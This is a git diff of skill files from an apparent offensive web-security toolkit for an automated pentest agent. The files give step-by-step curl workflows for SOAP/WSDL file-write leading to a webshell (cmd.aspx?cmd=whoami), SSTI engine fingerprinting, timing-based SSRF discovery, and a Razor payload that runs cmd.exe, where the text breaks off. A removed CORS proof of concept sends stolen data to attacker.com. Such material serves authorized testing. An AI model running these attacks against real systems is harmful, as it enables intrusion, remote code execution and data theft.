-| General web pentest | `idor` or `rce` (match to vuln class) + `detect_refusal` (inverted — agent shouldn't refuse) |
+| General web pentest | Match rubric to vuln class + `detect_refusal` (inverted) |
 | CTF / flag capture | `contains("FLAG{")` or flag verification method |
diff --git a/capabilities/web-security/skills/soapwn-wsdl-rce/SKILL.md b/capabilities/web-security/skills/soapwn-wsdl-rce/SKILL.md
index 79da165..f791abf 100644
--- a/capabilities/web-security/skills/soapwn-wsdl-rce/SKILL.md
+++ b/capabilities/web-security/skills/soapwn-wsdl-rce/SKILL.md
@@ -1,99 +1,83 @@
 ---
 name: soapwn-wsdl-rce
-description: Exploit .NET WSDL proxy (HttpWebClientProtocol) to achieve arbitrary file write and RCE via SOAP service import. Use when .NET SOAP/WCF/ASMX endpoints detected.
+description: Exploit .NET WSDL proxy (HttpWebClientProtocol) to achieve arbitrary file write and RCE via SOAP service import -- a silent type cast failure during deserialization writes fetched content to disk as .aspx/.cshtml. Use when .NET SOAP/WCF/ASMX endpoints detected.
 ---
 
-# SOAPwn — .NET WSDL Proxy RCE
+# SOAPwn -- .NET WSDL Proxy RCE
 
 ## Pattern
 - .NET application consumes external SOAP services via WSDL import
-- `HttpWebClientProtocol` or `SoapHttpClientProtocol` used to generate client proxy
+- `HttpWebClientProtocol` or `SoapHttpClientProtocol` generates client proxy
 - Application fetches WSDL from user-influenced URL
 
-## Mechanism
-1. .NET's `HttpWebClientProtocol` accepts a URL to fetch a WSDL definition
-2. Supply a `file://` URI instead of `http://`
-3. A silent type cast failure occurs during deserialization
-4. The framework writes the fetched content to disk as `.aspx` or `.cshtml`
-5. Result: arbitrary file write → webshell → RCE
+## Exploit Workflow
 
-## Detection
-Look for indicators of .NET SOAP consumption:
-
-```
-*.asmx          — ASP.NET Web Services
-*.svc           — WCF Services
-?wsdl           — WSDL endpoint suffix
-?disco          — Discovery document
-/Service1.asmx?WSDL
-```
-
-Response headers:
-```http
-X-Powered-By: ASP.NET
-X-AspNet-Version: 4.0.30319
-Server: Microsoft-IIS/10.0
-```
+### 1. Detect SOAP/WCF endpoints
+```bash
+# Probe common SOAP endpoint patterns
+curl -x localhost:8080 -k -sD- "https://target.com/Service.asmx?WSDL" | head -20
+curl -x localhost:8080 -k -sD- "https://target.com/Service.svc?wsdl" | head -20
+curl -x localhost:8080 -k -sD- "https://target.com/Service.asmx?disco" | head -20
 
-Body indicators:
-```xml
-<wsdl:definitions xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/">
-<soap:address location="..."/>
+# Check for .NET indicators in headers
+curl -x localhost:8080 -k -sI "https://target.com/" | rg -i "x-powered-by|x-aspnet|server.*iis"
 ```
 
-## Exploit Steps
+**Checkpoint:** Must see valid WSDL XML with `<wsdl:definitions>` and .NET response headers. If no WSDL endpoint found, this technique does not apply.
 
-### 1. Confirm WSDL endpoint
+### 2. Find user-influenced WSDL URL parameter
 ```bash
-curl -x localhost:8080 -k "https://target.com/Service.asmx?WSDL"
+# Via JSON API
+curl -x localhost:8080 -k "https://target.com/api/import-service" \
+  -H "Content-Type: application/json" \
+  -d '{"wsdlUrl": "https://ATTACKER-OOB-SERVER/canary.wsdl"}'
+
+# Via SOAP import header
+curl -x localhost:8080 -k "https://target.com/Service.asmx" \
+  -H "Content-Type: text/xml" \
+  -d '<wsdl:import namespace="http://target.com/" location="https://ATTACKER-OOB-SERVER/canary.wsdl"/>'
 ```
-Look for valid WSDL XML response with service definitions.
 
-### 2. Test URL parameter influence
-Find where the application imports external WSDL:
-```http
-POST /api/import-service HTTP/1.1
-Content-Type: application/json
+**Checkpoint:** Check OOB callback -- did the server fetch your URL? If no callback, the WSDL URL is not user-influenced.
 
-{"wsdlUrl": "http://attacker.com/evil.wsdl"}
-```
-Or via SOAP headers:
-```xml
-<wsdl:import namespace="http://target.com/" location="http://attacker.com/evil.wsdl"/>
-```
-
-### 3. Attempt file:// protocol
-```http
-POST /api/import-service HTTP/1.1
-Content-Type: application/json
-
-{"wsdlUrl": "file:///C:/inetpub/wwwroot/shell.aspx"}
+### 3. Test file:// protocol
+```bash
+curl -x localhost:8080 -k "https://target.com/api/import-service" \
+  -H "Content-Type: application/json" \
+  -d '{"wsdlUrl": "file:///C:/inetpub/wwwroot/test.txt"}'
 ```
 
-### 4. Craft malicious WSDL
-Host a WSDL that, when processed, writes a webshell:
+### 4. Craft malicious WSDL and host on attacker server
 ```xml
 <?xml version="1.0" encoding="utf-8"?>
 <wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
   xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/">
   <wsdl:types>
     <xsd:schema>
-      <!-- Schema that triggers code generation to disk -->
+      <!-- Schema triggers code generation -- proxy class written to disk -->
     </xsd:schema>
   </wsdl:types>
-  <wsdl:service name="Evil">
-    <wsdl:port binding="tns:EvilBinding">
+  <wsdl:service name="Shell">
+    <wsdl:port binding="tns:ShellBinding">
       <soap:address location="file:///C:/inetpub/wwwroot/cmd.aspx"/>
     </wsdl:port>
   </wsdl:service>
 </wsdl:definitions>
 ```
 
+### 5. Verify write and access webshell
+```bash
+curl -x localhost:8080 -k "https://target.com/cmd.aspx?cmd=whoami"
+```
+
+**Checkpoint:** If webshell is not accessible, the write may have landed in a non-web-accessible path. Try alternative paths: `C:\inetpub\wwwroot\`, `C:\wwwroot\`, or use error messages to discover the actual web root. If .aspx execution is blocked, chain with `write-path-to-rce`.
+
 ## Prerequisites
 - Target runs .NET (IIS, ASP.NET)
 - Application imports or consumes external SOAP/WSDL definitions
 - User can influence the WSDL URL parameter
 - `file://` protocol not blocked at network or application layer
 
-## Key Insight
-The vulnerability is in .NET's WSDL proxy generation pipeline — the silent cast failure during import means the framework doesn't validate the output path. This turns a seemingly benign "import service" feature into arbitrary file write with webshell potential.
+## Chain With
+- `write-path-to-rce` (if direct .aspx execution blocked, use framework view resolution)
+- `ssrf-redirect-loop` (if WSDL URL fetched server-side, chain with redirect for internal access)
diff --git a/capabilities/web-security/skills/ssti-error-based-detection/SKILL.md b/capabilities/web-security/skills/ssti-error-based-detection/SKILL.md
index 194d642..525af1c 100644
--- a/capabilities/web-security/skills/ssti-error-based-detection/SKILL.md
+++ b/capabilities/web-security/skills/ssti-error-based-detection/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: ssti-error-based-detection
-description: Error-based blind SSTI detection using polyglot payloads and error message differentials. Use when template engine suspected but injection appears blind.
+description: Error-based blind SSTI detection using polyglot payloads and error message differentials to fingerprint template engines. Use when template injection is suspected but output appears blind, or when you need to identify the template engine before escalation.
 ---
 
 # SSTI Error-Based Detection
@@ -11,25 +11,47 @@ description: Error-based blind SSTI detection using polyglot payloads and error
 - Need to identify template engine before escalation
 - Time-based blind SSTI too slow or unreliable
 
-## Probe
-**Polyglot detector** (triggers distinct errors per engine):
+## Workflow
+
+### 1. Send polyglot detector
+```bash
+# Triggers distinct errors per engine
+curl -x localhost:8080 -k "https://target.com/endpoint" \
+  -d 'input=${{<%[%'"}}%\.'
 ```
-${{<%[%'"}}%\.
+
+**Checkpoint:** Compare error response to a normal request. If error message changes, the input reaches a template engine.
+
+### 2. Fingerprint engine via error type
+```bash
+# Jinja2 (Python)
+curl -s "https://target.com/endpoint" -d "input={{7*'7'}}" | rg -i "UndefinedError|jinja2"
+
+# Twig (PHP)
+curl -s "https://target.com/endpoint" -d "input={{7*7}}" | rg -i "Twig_Error|twig"
+
+# Freemarker (Java)
+curl -s "https://target.com/endpoint" -d 'input=${7*7}' | rg -i "ParseException|freemarker"
+
+# ERB (Ruby)
+curl -s "https://target.com/endpoint" -d 'input=<%= 7*7 %>' | rg -i "SyntaxError|erb"
+
+# Velocity (Java)
+curl -s "https://target.com/endpoint" -d 'input=#set($x=7*7)$x' | rg -i "MethodInvocation|velocity"
 ```
-**Engine-specific error probes** — observe error type to fingerprint:
-- Jinja2: `{{7*'7'}}` → `7777777` or `UndefinedError`
-- Twig: `{{7*7}}` → `49` or `Twig_Error_Syntax`
-- Freemarker: `${7*7}` → `49` or `ParseException`
-- Velocity: `#set($x=7*7)$x` → `49` or `MethodInvocationException`
-- ERB: `<%= 7*7 %>` → `49` or `SyntaxError`
-- Pebble: `{{7*7}}` → `49` or `PebbleException`
-- Smarty: `{7*7}` → `49` or `SmartyCompilerException`
 
-Key insight: **error class names and stack traces reveal the engine** even when output is blind. `AttributeError` = Python (Jinja2/Mako). `NumberFormatException` = Java (Freemarker/Pebble).
+**Checkpoint:** Error class names reveal the engine:
+- `AttributeError` / `jinja2.exceptions` = Python (Jinja2/Mako)
+- `NumberFormatException` / `freemarker.core` = Java (Freemarker/Pebble)
+- `Twig_Error_Syntax` / `SmartyCompilerException` = PHP (Twig/Smarty)
+- `SyntaxError` = Ruby (ERB)
+
+### 3. Confirm with evaluation probe
+If a probe returns `49` or `7777777`, output is not blind -- proceed directly to exploitation.
 
 ## Indicators
-- Different error types on different payloads → engine fingerprinted
-- Stack trace contains engine class names (e.g. `jinja2.exceptions`, `freemarker.core`)
+- Different error types on different payloads = engine fingerprinted
+- Stack trace contains engine class names
 - Error message includes partial evaluation result
 
 ## Chain With
diff --git a/capabilities/web-security/skills/timing-attack-recon/SKILL.md b/capabilities/web-security/skills/timing-attack-recon/SKILL.md
index 85e91f1..01a608b 100644
--- a/capabilities/web-security/skills/timing-attack-recon/SKILL.md
+++ b/capabilities/web-security/skills/timing-attack-recon/SKILL.md
@@ -7,97 +7,95 @@ description: Discover hidden parameters, headers, and scoped SSRFs via server-si
 
 Measure response time deltas to find attack surface invisible in response bodies. Server-side operations (DNS lookup, DB query, log write, proxy routing) add 5-50ms. Isolate these from network jitter using single-packet synchronization.
 
-## Why This Exists
-
-Standard fuzzing keys on status codes, body diffs, content-length. When the app returns identical responses regardless of input, timing is the only remaining signal. This technique found hidden parameters and scoped SSRFs that content-based fuzzing missed entirely.
-
 ## Eliminate Network Jitter First
 
 Server-side deltas are 1-50ms. Network jitter is 10-100ms+. You **must** eliminate jitter or you'll drown in noise.
 
-**HTTP/2 single-packet**: Send N requests multiplexed in one TCP packet. All arrive within ~1ms. Compare response times — delta is pure server-side.
+**HTTP/2 single-packet**: Send N requests multiplexed in one TCP packet. All arrive within ~1ms. Compare response times -- delta is pure server-side.
 
 **HTTP/1.1 last-byte sync**: Open N connections, send all but final byte, release final bytes simultaneously. ~4ms spread.
 
-Use Turbo Intruder's single-packet attack mode or `curl --parallel` over H2.
-
 ## Baseline
 
-Before testing, establish what "normal" looks like:
-1. Send 20 identical requests via single-packet
-2. Record response times
-3. Calculate mean and stddev
-4. Anything >2 stddev above mean on a specific input = signal
+```bash
+# Statistical baseline: 20 requests, calculate mean and stddev
+times=()
+for i in $(seq 1 20); do
+  t=$(curl -s -o /dev/null -w "%{time_total}" "https://target.com/api/endpoint")
+  times+=("$t")
+done
 
-## Hidden Parameter Discovery
+python3 -c "
+import sys
+times = [float(t) for t in '${times[*]}'.split()]
+mean = sum(times) / len(times)
+stddev = (sum((t - mean) ** 2 for t in times) / len(times)) ** 0.5
+print(f'Baseline: mean={mean*1000:.1f}ms stddev={stddev*1000:.1f}ms')
+print(f'Signal threshold: >{(mean + 2*stddev)*1000:.1f}ms (mean + 2*stddev)')
+"
+```
 
-Add candidate parameters one at a time. Parameters that trigger server-side logic add measurable delay.
+**Checkpoint:** Anything >2 stddev above mean on a specific input = signal worth investigating.
 
-**Why parameters cause delays:**
-- DNS lookup on parameter value (app tries to resolve it)
-- Log write for unexpected parameter name
-- Validation/regex check on specific parameter names
-- DB query triggered by parameter presence (feature flags, debug modes)
+## Hidden Parameter Discovery
 
 ```bash
-# Manual with curl timing
-for param in debug admin internal test verbose trace; do
-  time curl -s -o /dev/null -w "%{time_total}" "https://target.com/api?${param}=1"
-done
+BASELINE_MEAN=0.045  # Set from baseline above (seconds)
+BASELINE_STDDEV=0.003
+
+for param in debug admin internal test verbose trace log callback url redirect next; do
+  t=$(curl -s -o /dev/null -w "%{time_total}" "https://target.com/api?${param}=1")
+  delta=$(python3 -c "print(f'{($t - $BASELINE_MEAN)*1000:.1f}')")
+  sigma=$(python3 -c "d=($t-$BASELINE_MEAN)/$BASELINE_STDDEV; print(f'{d:.1f}')")
+  echo "param=$param time=${t}s delta=${delta}ms (${sigma}sigma)"
+done | sort -t'(' -k2 -rn | head -5
 ```
 
-**Better**: Use Param Miner (Burp) which automates this with statistical analysis, or Turbo Intruder with timing comparison.
-
-Consistent 5ms+ delta on a specific parameter = that parameter triggers backend logic. Investigate further even if the response body is unchanged.
+Params with >2 sigma trigger backend logic -- investigate even if response body is unchanged.
 
 ## Hidden Header Discovery
 
-Same principle. Add candidate headers, measure timing.
-
-Priority headers to test:
+Same principle. Priority headers to test:
 - `X-Forwarded-For`, `X-Real-IP`, `X-Original-URL`, `X-Rewrite-URL`
 - `X-Debug`, `X-Debug-Token`, `X-Admin`, `X-Internal`
 - `X-Forwarded-Host`, `X-Forwarded-Proto`, `X-Forwarded-Scheme`
 
 ## Scoped SSRF Detection via Timing
 
-This is the highest-value technique. Detect proxy endpoints that route to internal services — even when responses are identical.
-
-**How it works**: A proxy that allows certain domains routes requests internally (fast). Blocked domains either timeout or get rejected (different timing). Even if both return `200 OK` with identical bodies, the timing differs.
+Highest-value technique. Detect proxy endpoints routing to internal services -- even when responses are identical.
 
 ```
-?url=https://google.com        → 200ms (external, blocked or slow)
-?url=https://internal.corp.com  → 45ms  (internal, routed directly)
-?url=https://10.0.0.1           → 48ms  (internal, routed directly)
+?url=https://google.com        -> 200ms (external, blocked or slow)
+?url=https://internal.corp.com  -> 45ms  (internal, routed directly)
+?url=https://10.0.0.1           -> 48ms  (internal, routed directly)
 ```
 
 ### Enumerate Internal Targets
-Once you've identified a scoped proxy via timing:
-1. Feed it your subdomain list — timing reveals which resolve internally
+Once scoped proxy is confirmed via timing:
+1. Feed it your subdomain list -- timing reveals which resolve internally
 2. Test RFC1918 ranges on common ports (80, 443, 8080, 8443)
-3. Use `surf -l hosts.txt` to pre-filter candidates that are internal-only
+3. Pre-filter candidates: `surf -l hosts.txt`
 
 ### Front-End Impersonation
-If the proxy respects `X-Forwarded-For`:
+If the proxy respects forwarded headers:
 ```
-Request without header:             150ms
-Request with X-Forwarded-For: 10.0.0.1:  45ms (internal routing!)
+Request without header:                    150ms
+Request with X-Forwarded-For: 10.0.0.1:    45ms (internal routing!)
 ```
-The header convinced the proxy you're internal. Now access internal-only endpoints.
 
 ## Decision Logic
 
 ```
 Target returns uniform responses to all inputs
-  ├── Establish timing baseline (20 identical requests, single-packet)
-  ├── Fuzz parameters → any with >2 stddev delay?
-  │     └── Yes → investigate that parameter (feature flag? debug? SSRF?)
-  ├── Fuzz headers → any with timing delta?
-  │     └── Yes → test X-Forwarded-For/Host impersonation
-  ├── Suspect proxy/SSRF endpoint?
-  │     ├── Compare timing: external domain vs internal IP vs internal subdomain
-  │     └── Fast response on internal = scoped SSRF → enumerate internal services
-  └── All uniform → timing vector exhausted, try other approaches
+  |-- Establish timing baseline (20 identical requests, single-packet)
+  |-- Fuzz parameters -> any with >2 sigma delay?
+  |     +-- Yes -> investigate (feature flag? debug? SSRF?)
+  |-- Fuzz headers -> any with timing delta?
+  |     +-- Yes -> test X-Forwarded-For/Host impersonation
+  |-- Suspect proxy/SSRF endpoint?
+  |     |-- Compare timing: external domain vs internal IP vs internal subdomain
+  |     +-- Fast response on internal = scoped SSRF -> enumerate internal services
+  +-- All uniform -> timing vector exhausted, try other approaches
 ```
 
 ## Chain With
diff --git a/capabilities/web-security/skills/vuln-kb/SKILL.md b/capabilities/web-security/skills/vuln-kb/SKILL.md
index 2f6623b..a53e1c6 100644
--- a/capabilities/web-security/skills/vuln-kb/SKILL.md
+++ b/capabilities/web-security/skills/vuln-kb/SKILL.md
@@ -1,186 +1,94 @@
 ---
 name: vuln-kb
-description: Local vulnerability knowledge base with CWE references, attack playbooks by tech stack, and detection signatures. Use when you need vulnerability context, CWE details, attack strategies for a specific technology, or detection signatures. Triggers on "vuln-kb", "vulnerability knowledge", "CWE", "attack playbook", "detection signature", "vulnerability reference", "what is CWE", "how to test for".
+description: Local vulnerability knowledge base with CWE references, attack playbooks by tech stack, and detection signatures. Use when you need vulnerability context for a specific CWE, attack strategies for a technology stack, detection signatures for static analysis, or mapping between static analysis signals and vulnerability classes.
 ---
 
 # Vulnerability Knowledge Base
 
-Local reference for vulnerability classes, CWE mappings, attack playbooks, and detection signatures.
+Quick-reference for vulnerability classes, CWE mappings, and detection patterns. For full checklists and analysis strategies, see reference files in this directory.
 
-## CWE Quick Reference
-
-### Injection Flaws (OWASP A03:2021)
-
-| CWE | Name | Source | Sink | Key Signal |
-|-----|------|--------|------|------------|
-| CWE-89 | SQL Injection | User input (params, forms, headers) | Database query (execute, query, prepare without params) | Error messages containing SQL syntax, boolean response differences |
-| CWE-78 | OS Command Injection | User input | System calls (exec, system, popen, subprocess) | Command output in response, time delays |
-| CWE-79 | Cross-Site Scripting | User input | HTML output (innerHTML, document.write, server-side template) | Unencoded reflection in HTML context |
-| CWE-94 | Code Injection | User input | eval(), Function(), setTimeout(string) | Dynamic code execution |
-| CWE-917 | Expression Language Injection | User input | Template engine (Jinja2, Freemarker, Twig, Thymeleaf) | Template syntax in output (e.g., `49` from `{{7*7}}`) |
-| CWE-74 | Improper Neutralization | User input | Any interpreter | Base class for all injection flaws |
-
-**Detection signals**: `path`, `api_path`, `query_param` matches near sink patterns; error responses containing SQL/template syntax after injection attempts.
-
-### Broken Access Control (OWASP A01:2021)
-
-| CWE | Name | Pattern | Test Strategy |
-|-----|------|---------|---------------|
-| CWE-639 | IDOR | Sequential/predictable resource IDs | Two accounts, cross-access resources |
-| CWE-862 | Missing Authorization | Endpoints without auth check | Access without token/session |
-| CWE-863 | Incorrect Authorization | Auth present but wrong check | Vertical/horizontal privilege escalation |
-| CWE-22 | Path Traversal | File path in parameter | `../` sequences to escape directory |
-| CWE-284 | Improper Access Control | General access control failure | Map all auth boundaries, test each |
-| CWE-276 | Incorrect Default Permissions | Overly permissive defaults | Check new resource permissions |
+## Lookup Workflow
 
-**Detection signals**: API paths with ID-like segments (`/api/.*/[0-9]+`), endpoints returning different data per user context.
+1. **Identify signal** -- what did you find? (static analysis match, HTTP traffic pattern, error message)
+2. **Map to vuln class** -- use the Signal -> Vulnerability table below
+3. **Get CWE details** -- find the matching CWE section for test strategy and detection signals
+4. **Verify** -- use the test commands and grep patterns to confirm
 
-### Cross-Site Scripting Detail (CWE-79)
+**Checkpoint:** Before reporting, confirm you have: CWE ID, working PoC, and impact statement.
 
-| Subtype | Source | Sink | Detection |
-|---------|--------|------|-----------|
-| Reflected | URL params, form input | Server-side template output | Input reflected in response without encoding |
-| Stored | Database/persistent input | Any output rendering stored data | Payload persists across requests |
-| DOM-based | URL fragment, document.referrer | innerHTML, document.write, eval | Client-side JS processes URL data |
+## Signal -> Vulnerability Mapping
 
-**Static analysis signals**: `dangerouslySetInnerHTML`, `innerHTML` assignments, `document.write`, `url_search_params` flowing to `window.location` assignment.
-
-### Cross-Origin Resource Sharing (CWE-942 / CWE-184)
+| Signal Pattern | Potential Vulnerability | Priority |
+|---|---|---|
+| `dangerouslySetInnerHTML` | DOM XSS (React) | High |
+| `innerHTML` assignment | DOM XSS (vanilla JS) | High |
+| `addEventListener('message')` | postMessage XSS / cross-origin abuse | High |
+| `location.href` / `window.location` assignment | Open redirect / javascript: XSS | Medium |
+| Hardcoded JWT / API keys in JS | Credential exposure | Critical |
+| API paths with numeric IDs | IDOR candidates | Medium |
+| `__schema` / `__type` in requests | GraphQL introspection | Medium |
 
-| Misconfiguration | Test | Exploitation Requirements |
-|------------------|------|--------------------------|
-| `Access-Control-Allow-Origin: *` with credentials | Send `Origin: attacker.com`, check if reflected with `Access-Control-Allow-Credentials: true` | Must demonstrate credential theft or state-changing action |
-| Dynamic origin reflection | Send `Origin: attacker.com`, check if echoed in response header | Must bypass mitigating factors; must show actual data exfiltration |
-| Null origin allowed | Send `Origin: null`, check for `Access-Control-Allow-Origin: null` | Common with local file:// attacks; needs PoC with credential theft |
-| Weak regex matching | Test `Origin: target.com.attacker.com` or `Origin: attacker-target.com` | Must prove regex bypass and data access |
+## CWE Quick Reference
 
-**Reporting Standard:**
-- Just reflecting the Origin header is **NOT sufficient** for a valid report
-- Must provide **working JavaScript PoC** that extracts session cookies, tokens, or performs authenticated actions
-- Must demonstrate **account takeover** or **state-changing actions** via CORS abuse
-- Theoretical CORS issues without exploitation = **Informational/Rejected**
+### Injection (OWASP A03)
 
-**Test Commands:**
-```bash
-# Test basic reflection
-curl -s -H "Origin: https://attacker.com" \
-  "https://target.com/api/user" | grep -i "access-control"
+| CWE | Name | Key Signal |
+|-----|------|------------|
+| CWE-89 | SQL Injection | Error messages with SQL syntax, boolean response differences |
+| CWE-78 | OS Command Injection | Command output in response, time delays |
+| CWE-79 | XSS | Unencoded reflection in HTML context |
+| CWE-94 | Code Injection | Dynamic code execution via eval/Function |
+| CWE-917 | Expression Language Injection | Template syntax in output (`49` from `{{7*7}}`) |
 
-# Test with credentials
-curl -s -H "Origin: https://attacker.com" \
-  -H "Cookie: session=xyz" \
-  "https://target.com/api/user" -v 2>&1 | grep -i "access-control"
-```
+### Broken Access Control (OWASP A01)
 
-**Working PoC Template:**
-```html
-<script>
-// Must actually extract sensitive data or perform actions
-fetch('https://target.com/api/user', {
-  credentials: 'include',
-  headers: {'Accept': 'application/json'}
-})
-.then(r => r.json())
-.then(data => {
-  // Exfiltrate to attacker server
-  fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
-});
-</script>
-```
+| CWE | Name | Test Strategy |
+|-----|------|---------------|
+| CWE-639 | IDOR | Two accounts, cross-access resources |
+| CWE-862 | Missing Authorization | Access without token/session |
+| CWE-863 | Incorrect Authorization | Vertical/horizontal privilege escalation |
+| CWE-22 | Path Traversal | `../` sequences to escape directory |
 
-### Server-Side Request Forgery (CWE-918)
+### SSRF (CWE-918)
 
 | Pattern | Test | Impact |
 |---------|------|--------|
 | URL parameter | `url=http://127.0.0.1` | Internal network access |
-| Webhook URL | Register callback to internal IP | Internal service interaction |
-| File import | Import from `file:///etc/passwd` | Local file read |
-| PDF/Image generation | Embed internal URL in content | Blind SSRF via render |
-
-**Detection signals**: Parameters named `url`, `fetch`, `proxy`, `callback`, `webhook`, `redirect`, `href`, `src` in query strings or request bodies.
-
-### Authentication/Session (OWASP A07:2021)
+| Webhook URL | Callback to internal IP | Internal service interaction |
+| PDF/Image generation | Embed internal URL | Blind SSRF via render |
 
-| CWE | Name | Test |
-|-----|------|------|
-| CWE-287 | Improper Authentication | Bypass login without valid credentials |
-| CWE-384 | Session Fixation | Force known session ID on victim |
-| CWE-613 | Insufficient Session Expiration | Check token lifetime, no logout invalidation |
-| CWE-798 | Hardcoded Credentials | Scan source for API keys, passwords |
-| CWE-307 | Brute Force | Unlimited login attempts without lockout |
+Detection: parameters named `url`, `fetch`, `proxy`, `callback`, `webhook`, `redirect`, `href`, `src`.
 
-**Detection signals**: Leaked secrets (JWT, API keys, tokens) in JS source or responses; auth-related endpoints (`/login`, `/auth`, `/token`, `/session`).
+### CORS Misconfiguration (CWE-942)
 
-### Cryptographic Failures (OWASP A02:2021)
-
-| CWE | Name | Signal |
-|-----|------|--------|
-| CWE-327 | Broken Crypto Algorithm | MD5, SHA1 for passwords, DES encryption |
-| CWE-328 | Reversible One-Way Hash | Weak hash without salt |
-| CWE-330 | Insufficient Randomness | Math.random() for tokens, sequential IDs |
-| CWE-311 | Missing Encryption | Sensitive data over HTTP, plaintext storage |
-
-### Business Logic
-
-| Category | Pattern | Test |
-|----------|---------|------|
-| Race Condition | Concurrent state changes | Parallel requests to same endpoint |
-| Price Manipulation | Client-side price calculation | Modify price in request body |
-| Workflow Bypass | Multi-step process | Skip steps, replay earlier step |
-| Privilege Escalation | Role-based features | Access admin features as regular user |
-
-### AI/LLM Specific (OWASP LLM Top 10)
-
-| Category | CWE Analog | Pattern |
-|----------|-----------|---------|
-| Prompt Injection | CWE-74 (injection) | User input reaches model context without sanitization |
-| Insecure Output | CWE-79 (XSS) | Model output rendered as HTML/code without sanitization |
-| Training Data Poisoning | CWE-502 (deserialization) | Malicious data in training/fine-tuning pipeline |
-| Excessive Agency | CWE-269 (privilege) | Model has unrestricted tool access |
-| System Prompt Leak | CWE-200 (info disclosure) | System instructions extractable via prompt manipulation |
-
-## Static Analysis Signal -> Vulnerability Mapping
-
-| Signal Pattern | Potential Vulnerability | Priority |
-|---|---|---|
-| `dangerouslySetInnerHTML` | DOM XSS (React) | High |
-| `innerHTML` assignment | DOM XSS (vanilla JS) | High |
-| `window.onmessage` / `addEventListener('message')` | postMessage XSS / cross-origin abuse | High |
-| `location.href` / `window.location` assignment | Open redirect / javascript: XSS | Medium |
-| `URLSearchParams` | Client-side parameter injection | Medium |
-| Hardcoded JWT | Token reuse (test if valid) | High |
-| Leaked API keys / tokens | Credential exposure | Critical |
-| `__schema` / `__type` in requests | GraphQL introspection surface | Medium |
-| API paths with numeric IDs | IDOR candidates | Medium |
-
-## Useful Grep Patterns for HTTP Traffic
+```bash
+# Test origin reflection
+curl -s -H "Origin: https://attacker.com" "https://target.com/api/user" | grep -i "access-control"
 
+# Test with credentials
+curl -s -H "Origin: https://attacker.com" -H "Cookie: session=xyz" \
+  "https://target.com/api/user" -v 2>&1 | grep -i "access-control"
 ```
-# IDOR candidates - endpoints with numeric IDs
-/[a-z]+/[0-9]+(/|$)
 
-# Potential file inclusion
-(file|path|dir|folder|template|page|include)=
+**Reporting standard:** Origin reflection alone is NOT sufficient. Must provide working JS PoC demonstrating credential theft or state-changing action.
 
-# Potential SSRF
-(url|uri|href|src|redirect|callback|proxy|fetch)=
+## Grep Patterns for HTTP Traffic
 
-# Auth tokens in URLs (should be in headers)
-(token|key|api_key|apikey|secret|auth|session)=
+```bash
+# IDOR candidates
+rg '/[a-z]+/[0-9]+(/|$)' http_requests/
 
-# Sensitive data in responses
-(password|secret|private_key|api_key|token)
+# Potential SSRF parameters
+rg '(url|uri|href|src|redirect|callback|proxy|fetch)=' http_requests/
 
-# Error messages
-(exception|traceback|stack trace|syntax error|SQLSTATE)
+# Auth tokens in URLs (should be in headers)
+rg '(token|key|api_key|secret|auth|session)=' http_requests/
 
-# Mass assignment candidates
-PATCH or PUT requests with extra fields
+# Error messages leaking info
+rg '(exception|traceback|stack.trace|syntax.error|SQLSTATE)' http_requests/
 ```
 
-## Usage
+## Reference Files
 
-This knowledge base is consulted during:
-1. **vuln-critic** - To validate finding plausibility and map to CWE
-2. **exploit-verifier** - To select appropriate verification procedures
-3. Testing strategy guidance based on tech stack
+- [testing-checklist.md](testing-checklist.md) -- Full testing checklist by category
+- [analysis-strategies.md](analysis-strategies.md) -- Six analysis lenses (taint, trust boundary, business logic, config audit, race conditions, cross-context)
diff --git a/capabilities/web-security/skills/write-path-to-rce/SKILL.md b/capabilities/web-security/skills/write-path-to-rce/SKILL.md
index 2c62f49..5054146 100644
--- a/capabilities/web-security/skills/write-path-to-rce/SKILL.md
+++ b/capabilities/web-security/skills/write-path-to-rce/SKILL.md
@@ -6,52 +6,102 @@ description: Escalate arbitrary file write into code execution by abusing framew
 # Arbitrary File Write -> RCE via View Engine Resolution
 
 ## Pattern
-- You have arbitrary file write through path traversal, upload, report generation, or similar functionality
+- You have arbitrary file write (path traversal, upload, report generation)
 - The web server blocks direct requests to executable extensions
 - The framework still resolves, compiles, or loads files internally from the filesystem
 
-## Key Insight
-HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access to that extension is blocked.
+HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access is blocked.
 
-## Framework Cheatsheet
+## Workflow
 
-### ASP.NET MVC (Razor)
-Typical search paths include:
-- `~/Views/{controller}/{action}.cshtml`
-- `~/Views/Shared/{action}.cshtml`
+### 1. Confirm arbitrary write
+```bash
+# Write a canary file to a known location
+curl -x localhost:8080 -k "https://target.com/upload" \
+  -F "file=@canary.txt;filename=../../../tmp/canary.txt"
 
-Write a Razor payload into a reachable search path and trigger the matching controller or action.
+# Verify write
+curl -x localhost:8080 -k "https://target.com/tmp/canary.txt"
+```
 
-### Ruby on Rails
-Zeitwerk and wildcard routing can make controller or helper writes reachable when files land inside autoload paths such as:
-- `app/controllers/`
-- `app/models/`
-- `app/helpers/`
-- `lib/`
+**Checkpoint:** If canary file is not written, the write primitive is not confirmed. Stop here.
 
-### Express.js
-If the application renders attacker-writable EJS or Pug templates from `views/`, template execution becomes server-side code execution.
+### 2. Identify framework and map resolution paths
 
-### Django and Flask
-If the target uses Jinja2 or unsafe template rendering paths, attacker-writable templates can execute on render.
+```bash
+# Check response headers for framework hints
+curl -x localhost:8080 -k -sD- "https://target.com/" | rg -i "x-powered-by|server|x-aspnet"
 
-### Laravel
-Blade templates written into `resources/views/` become reachable through normal view resolution.
+# Trigger a 404 to see error page (often reveals framework + view paths)
+curl -x localhost:8080 -k "https://target.com/nonexistent_route_xyz"
+```
 
-### Go
-Go templates are usually more constrained. In Go applications, arbitrary write more often needs to chain into source replacement, build triggers, or unsafe helper functions rather than template execution alone.
+### 3. Write payload to searched path
 
-## Detection
-- Error messages disclose view search paths
-- ProcMon or `strace` shows framework file lookups during normal requests
-- Writable application paths overlap with template, view, or autoload directories
+#### ASP.NET MVC (Razor)
+```bash
+# View resolution: ~/Views/{controller}/{action}.cshtml, ~/Views/Shared/{action}.cshtml
+# Write webshell to a view path
+echo '@{ System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\inetpub\\wwwroot\\out.txt"); }' > payload.cshtml
